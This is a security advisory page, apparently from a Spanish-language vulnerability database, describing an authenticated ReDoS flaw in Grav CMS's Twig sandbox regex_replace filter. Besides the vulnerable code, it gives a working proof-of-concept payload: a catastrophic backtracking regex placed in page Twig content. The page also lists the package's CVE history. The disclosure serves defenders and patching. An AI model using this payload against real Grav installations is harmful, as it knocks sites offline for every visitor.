Media

Grav: Authenticated ReDoS via regex_replace in Twig Sandbox

  • Publicada: 02.09.2026
  • Actualizado: 11.10.2026 10:22

Summary

The regex_replace filter and function are allowlisted in Grav's Twig content sandbox. When Twig processing in page content is enabled security.twig_content.process_enabled: true, authenticated page editors can supply a catastrophically backtracking PCRE pattern, causing unbounded CPU consumption and denying service to the entire web server process.


Details

The Twig sandbox allowlists, defined in system/config/security.yaml, explicitly include regex_replace in both the filter and function permission lists:

Source: system/config/security.yaml

yaml
twig_sandbox:
  allowed_filters:
    # ...
    - regex_replace    #  user-controlled pattern allowed in sandbox
  allowed_functions:
    # ...
    - regex_replace    #  same

The underlying implementation passes the caller-controlled $pattern directly into PHP's preg_replace() without any pattern complexity validation:

Source: system/src/Grav/Common/Twig/Extension/GravExtension.php:1317-1319

php
public function regexReplace($subject, $pattern, $replace, $limit = -1)
{
    return preg_replace($pattern, $replace, $subject, $limit);
}

When twig_content.process_enabled is true, page body content is sandboxed but can use any allowlisted filter. An editor who embeds a catastrophic backtracking pattern causes the PCRE engine to enter exponential time complexity, consuming 100% CPU until the PHP process is killed or the request times out.

Conditions required:

  1. security.twig_content.process_enabled: true (opt-in, false by default on fresh 2.0 installs)
  2. security.twig_sandbox.enabled: true (default) - the function is reachable under sandbox
  3. Attacker must have page edit access (authenticated contributor / editor role)

PoC

Configuration prerequisite - enable Twig in content:

yaml
# user/config/security.yaml
twig_content:
  process_enabled: true

Payload — embed in any Grav page body with process: { twig: true } in frontmatter:

---
title: Test
process:
  twig: true
---
{{ 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab'|regex_replace('/^(a+)+$/', '') }}

Or as a function call in a page where the editor has Twig access:

twig
{{ regex_replace('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab', '/^(a+)+$/', '') }}

Result: The PHP-FPM worker (or CLI server process) enters catastrophic PCRE backtracking. On a 2 GHz host, a 32-character string with the above pattern will exhaust one CPU core for seconds to minutes. With a slightly longer string, the time grows exponentially.


Impact

Vulnerability type: Regular Expression Denial of Service - ReDoS

Who is impacted: Server availability. Any Grav installation where:

  • An editor-role account exists (or has been compromised), AND
  • The operator has enabled twig_content.process_enabled: true

An attacker with page-edit access can render the site unresponsive for all visitors by publishing a page with a catastrophic regex. On single-worker PHP configurations this is a complete outage. On multi-worker setups, multiple concurrent page renders of the malicious page can saturate all workers.


Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de Composer getgrav/grav < 2.0.4 2.0.4

Referencias

Puntuación CVSS -
Vector CVSS
CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Debilidad (CWE)
CWE-1333
Plataforma
Composer
Paquete
getgrav/grav
Publicada
02.09.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-37f3-6p89-6qr9 - CC BY 4.0

Historial de vulnerabilidades: getgrav/grav

Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (99) en el archivo
Entradas en total
99
Primera → última
11.2019 09.2026
Sin corrección
6
Explotada en ataques
0

Distribución por gravedad

  • Crítica 7
  • Alta 47
  • Media 41
  • Baja 4

Divulgaciones por año

  1. 2019: 1
  2. 2020: 1
  3. 2021: 4
  4. 2022: 10
  5. 2023: 5
  6. 2024: 8
  7. 2025: 23
  8. 2026: 47
Gravedad:
  1. Alta · 8.8 CVE-2026-72819 < 2.0.13 2.0.13
  2. Grav: Authenticated ReDoS via regex_replace in Twig Sandbox esta entrada
    Media CVE-2026-62237 < 2.0.4 2.0.4
  3. Alta CVE-2026-53653 >= 2.0.0-beta.1, < 2.0.0-rc.8, < 1.7.53 2.0.0-rc.8, 1.7.53
  4. Alta · 8.9 CVE-2026-42611 < 2.0.0-beta.2 2.0.0-beta.2
  5. Alta · 8.5 CVE-2026-42612 < 2.0.0-beta.2 2.0.0-beta.2
  6. Crítica · 9.4 CVE-2026-42613 < 2.0.0-beta.2 2.0.0-beta.2
  7. Crítica · 9.1 CVE-2025-66844 <= 1.7.49.5 sin corrección
  8. Alta CVE-2025-66298 < 1.8.0-beta.27 1.8.0-beta.27
  9. Alta CVE-2025-66294 < 1.8.0-beta.27 1.8.0-beta.27
  10. Alta · 8.5 CVE-2025-66300 < 1.8.0-beta.27 1.8.0-beta.27
  11. Alta · 8.8 CVE-2025-66299 < 1.8.0-beta.27 1.8.0-beta.27
  12. Alta · 8.5 CVE-2024-34082 < 1.7.46 1.7.46
  13. Alta · 8.8 CVE-2024-28119 < 1.7.45 1.7.45
  14. Alta · 8.8 CVE-2024-28118 < 1.7.45 1.7.45
  15. Alta · 8.8 CVE-2024-28117 < 1.7.45 1.7.45
  16. Alta · 8.8 CVE-2024-27921 < 1.7.45 1.7.45
  17. Alta · 8.8 CVE-2024-27923 < 1.7.43 1.7.43
  18. Alta · 7.2 CVE-2023-37897 < 1.7.42.2 1.7.42.2
  19. Alta · 7.2 CVE-2023-34448 < 1.7.42 1.7.42
  20. Alta · 7.2 CVE-2023-34252 < 1.7.42 1.7.42
  21. Crítica · 9.1 CVE-2023-34251 < 1.7.42 1.7.42
  22. Alta · 7.2 CVE-2022-2073 < 1.7.34 1.7.34
  23. Alta · 8.1 CVE-2020-29555 >= 1.7.0-beta.1, <= 1.7.0-rc.17, < 1.6.30 1.6.30
  24. Alta · 8.8 CVE-2020-29553 >= 1.7.0-beta.1, <= 1.7.0-rc.17, < 1.6.30 1.6.30
  25. Alta · 7.1 CVE-2022-0970 < 1.7.31 1.7.31
  26. Alta · 8.8 CVE-2021-3924 <= 1.7.24 sin corrección
  27. Alta · 8.4 CVE-2021-29440 < 1.7.11 1.7.11

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.